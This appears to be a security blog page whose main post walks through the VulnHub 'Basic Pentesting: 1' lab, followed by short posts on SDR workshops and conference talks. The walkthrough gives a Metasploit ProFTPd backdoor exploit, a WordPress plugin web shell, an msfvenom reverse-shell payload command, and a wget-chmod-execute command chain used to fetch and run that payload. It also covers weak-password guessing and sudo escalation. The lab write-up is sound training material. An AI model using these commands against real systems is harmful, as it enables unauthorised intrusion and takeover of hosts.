Wednesday, January 10, 2018

VulnHub Basic Pentesting: 1 Walkthrough

I found myself with some free time and wanted a simple challenge to pass the time.  I decided to take a look at new VMs posted to VulnHub to see if there was anything interesting.  I came across Basic Pentesting: 1, which is designed as a boot to root challenge specifically for newcomers to pen testing.  This seemed to pass the simple challenge requirement, so I decided to give it a try.

This VMs has several avenues that lead either directly or indirectly to rooting the box.  I'll walk through a few avenues below.

After booting the VM, I performed a ping sweep on my network to identify the VM IP and started an nmap to identify any open ports.

Enumerating open ports

Avenue #1 - ProFTPd
My interest was piqued immediately upon seeing FTP open on this host.  From previous experience, I already knew this version was vulnerable to a backdoor, but I decided to act like a newcomer and did a search for "proftpd 1.3.3c exploit."  This yielded many results indicating that this particular version of ProFTPd was indeed affected by a backdoor which allowed for shell access to the system.  A metasploit module was the first search result, so I decided to use that.

Gaining a shell was straight forward and was a simple matter of configuring the payload.  I selected the cmd/unix/reverse payload which resulted in a root shell.

Metasploit configuration


As you can see, this was a very quick, minimal effort to achieve root in a manner of minutes.  In real penetration tests, the goal is often to not simply compromise a host, but to establish a foothold, enumerate information, and attempt to move laterally.  Having a fully functional shell is always a bonus.  To this end, you can often invoke a fully-interactive shell with a simple python trick: python -c 'import pty; pty.spawn("/bin/bash")'

Upgrading to a fully-interactive shell

Avenue #2 - WordPress low-privilege shell
Knowing there were several avenues to achieve root on this box, I decided to see what avenues the web server on port 80 presented.  Initially, the web server didn't appear to offer much.  A search for known vulnerabilities in the version of Apache used on the server, 2.4.18, indicated there weren't any exploits which allowed for remote code execution.  Since there weren't any exploits for Apache, there had to be some software running on the web server which would ultimately yield a shell.

During penetration tests, enumeration of the target is critical.  As you enumerate more information about the target, you build a better understanding of how it works and how it may be attacked.  In instances where you've identified a web server that just has a default welcome page and doesn't immediately offer up any clues, tools such as nikto and dirb are a great first choice for identifying potential access vectors.  In this case, nikto quickly identified the presence of a /secret/ directory.  This is the droid I was looking for!

Enumeration of secret directory with nikto

Upon visiting /secret/, I was presented with a WordPress site - My Secret Blog.  The WordPress login console can typically be accessed by visiting <site>/wp-login/index.php.

Note: You may encounter issues with content not loading due to the fact that the VM is configured to rewrite IPs to hostnames in URLs.  The easiest way to deal with this is to set up a hosts file entry to point your target VMs IP to vtcsec.

Upon visiting the WordPress login page, I tried the default username and password of admin / admin.  If you're new to pen testing, this is sadly not an unrealistic example.  I have encountered far too many services in production using these exact credentials.

WordPress login page

WordPress admin console

There are a number of ways to achieve a shell once gaining administrative access to a WordPress installation.  The method used will depend on target configuration and personal preferences.  One common technique is to modify a template and replace the template code with your shell code.  Personally, I don't favor this approach as modification of the template can expose your presence if the site is actively used.  Users (and admins!) are likely to notice if all of a sudden their template is modified and the site is no longer displaying correctly.  Instead, I prefer to use a plugin to install a shell.

A quick and lightweight shell can be downloaded from GitHub:  Note:  I tried to use from the GitHub repository, but it didn't decompress properly.  You'll probably need to create a new zip file: zip -r shell.php.

To install a new plugin, use Plugins > Add New menu and use the Upload Plugin button to upload your zipped shell.  Activate the new plugin and you're ready to execute commands on the system on the web server as the web server user.  The plugin documentation indicates that your new shell can be accessed by navigating to /wp-content/plugins/shell/shell.php.  For this VM, that means you can access your shell by navigating to http://ip/secret/wp-content/plugins/shell/shell.php.  If for some reason your shell isn't accessible, you can confirm the path to your plugin by using the Plugins > Editor menu to confirm the directory name for your shell.

Executing 'id' using the shell

As you can see above, Apache is running as the www-data user.  If we want to get root, we're going to need to do a little more work.  There are a number of ways to do this.  My favorite method is to use netcat to either create a listening shell on the target (bind shell) or to send a shell back to a listener on my attacking machine (reverse shell).   In this case, the version of netcat installed doesn't support the -e options, meaning we can't use netcat to establish a bind shell.  The pentestmonkey reverse shell cheatsheet is a great resource to keep handy.  It gives you a lot of creative ways to establish a shell.  For this exercise, I chose to use a metasploit meterpreter reverse shell payload.

To use a meterpreter payload, I needed to take a few steps.  First, I needed to select a payload.  The VulnHub page tells us the OS used, but in the real world we don't have that luxury, so we need to determine what our target is running.  Using my command shell, I determined the system was a 64-bit Ubuntu Linux system by using uname -a.

Executing 'uname -a' using the shell

Second, I needed to create a payload to execute on the system.  To do this, I used msfvenom to create an ELF payload.  msfvenom -p linux/x86/meterpreter/reverse_tcp --platform linux -a x86 -f elf LHOST= LPORT=4444 -o metshell

Generating a payload with msfvenom

Third, I needed to set up metasploit to receive a shell from this payload.  This can be accomplished using exploit/multi/handler.  All that's needed is to set the LHOST and LPORT options to match what was specified when building the payload with msfvenom.

exploit/multi/handler configuration

Lastly, the payload needed to be transferred to the target.  If you have a web server on your attacking system, you can use that to serve up your payload and retrieve it using wget on the target.  If you don't have a web server configured, that's ok.  One of my favorite quick and dirty methods is to use the python SimpleHTTPServer to serve up content.  By default, the SimpleHTTPServer will establish a listener on port 8000 and serve up content from your current working directory.

Many times in real world pen tests, the web root is protected and the web server user will not have write access to the web root.  If you're able to establish a web shell, you'll need to find a directory where the web server user can write to in order to drop your payload.  Most commonly, this will be in the /tmp directory.  For this challenge, I changed to the /tmp directory, retrieved my payload and marked it as executable, and executed it.  You can issue these commands individually, or all at once, such as:;%20wget%20http://;%20chmod%20777%20metshell;%20/tmp/metshell

Low privilege meterpreter shell established!

At this point, we've established a shell, but it's only as the lowly www-data user.  We need to find an avenue that will allow us to escalate our privileges to root.

Avenue 2a - Privilege escalation through password attacks and sudo
After establishing a meterpreter shell as the www-data user, I began to look for ways to escalate my privileges to root.  A look through the /etc/passwd file revealed that the only local user on the box was the user marlinspike.  We already know marlinspike chose a weak password to protect their WordPress installation.  What are the chances that marlinspike also used a weak password for their local user account?

A simple google search will give you dozens of weak password lists that you can then use with automated attack tools like thc-hydra, ncrack, medusa, or patator.  Before I fired up an automated tool, I did a manual test using a few common weak passwords like password, admin, letmein, and the username as a password.  Unsurprisingly, marlinspike used their user name as their password.

Logged in as marlinspike

Sudo is a utility which allows users to execute commands with the security context of another user.  Savvy system administrators will use it to allow users to execute specific commands as either another user or a user with elevated privileges.  Unfortunately, system administrators also often grant themselves permission to execute all system commands as the root user.  Such was the case with this system.


In retrospect, I could have just used the WP shell to identify all local users and attempt password guessing attacks without ever launching the meterpreter shell.

Tuesday, June 20, 2017

BSidesMSP SDR 101 Workshop Information

If you plan on stopping by the SDR 101 workshop at BSidesMSP this weekend, there are a few things to know to make sure sure you get the most out of your time.

First, if you plan on participating, please bring a Windows laptop (Win 7 or later, 32/64 bit) with at least 4 GB of RAM and an Intel i3 or higher-rated processor.  Atom-based laptops may struggle to keep up.  Linux and Mac OS laptops can work great for SDR, but we'll be focusing on Windows-based tools as they are the easiest for the newcomer to get started.  If you bring a Mac or Linux laptop, we'll be happy to discuss some of the SDR theory but we may not be able to help with your specific software.

Second, if you already own an SDR dongle, please bring it.  We will have some available to use during the workshop, available on a first come, first serve basis, but we may not have enough for everybody who is interested.

Third, we may not have internet service at the conference location, so if you can, please download the following software.  We will try to have some drives available locally with the necessary installers as well.
Please review the Quick Start Guide at  We will go through the software setup at the workshop, but if we do not have internet service, certain pieces of the SDR# installer, such as install-rtlsdr.bat will fail as it automatically downloads certain components.

Each day will start off with a short talk introducing SDR and covering some of the basic concepts you'll need to know to get started.  After that, we'll help you get the software installed and configured, and start working on some demos.  We will cover the topics below, but there should be plenty of time to explore the air waves and find new signals to analyze and play with.
  • Setting up and tuning your rtlsdr
  • Locating and identifying signals
  • Pager decoding
  • ADSB decoding
  • P25 voice decoding

Saturday, May 14, 2016

SDR 101 presentation from MISC.conf

Today I had the privilege of speaking at the first MISC.conf (, where I discussed Software Defined Radio 101.  In this talk, I cover some of the basic hardware and software tools for getting into SDR, focusing on using SDR# in Windows.  I've provided some links to helpful resources to get you started.  In a later blog post, I'll try to outline some of the content that was discussed that isn't reflected in the slides.

The slides are available here.

Monday, May 9, 2016

Detecting and Preventing the Insider Threat - 2016 ND IT Symposium

I've updated my deck for "Detecting and Preventing the Insider Threat," which was presented at the 2016 ND IT Symposium on May 4, 2016.  The slides can be found here:  As always, feedback and questions are welcome and encouraged!

Wednesday, October 7, 2015

Detecting and Preventing the Insider Threat

Today I had the privilege of presenting at the ND Infragard chapter meeting.  The topic of the day was "the insider threat."  Jeremy Strozer of's Software Engineering Institute at Carnegie Mellon University set up the afternoon talking about the insider threat.  I followed with a presentation on detecting and preventing the insider threat from a defender perspective.  The slides can be found on my SlideShare page.  A big thanks to everybody who came out to listen and asked questions!


Friday, September 25, 2015

DerbyCon 2015 Presentation

Today I had the privilege of presenting at DerbyCon 2015 in the stable talk track.  My talk, "Detecting Spear Phishing Attacks Using DNS", was based on a blog post from earlier this year.  The turnout was excellent, the room was packed, and I had a great audience.  If you were there, thank you!

The slides for the talk have been uploaded to SlideShare.  You can find them here: Detecting Spear Phishing Attacks using DNS.

I'll be giving this talk again in November at BSides Winnipeg.

Thursday, June 25, 2015

BSides MSP Presentations

Better late than never, I've got the presentations from BSides MSP uploaded.  These are updated versions of two previous presentations. As always, feel free to reach out with questions or comments.


You Will Be Breached

Is Your Data Literally Walking Out the Door?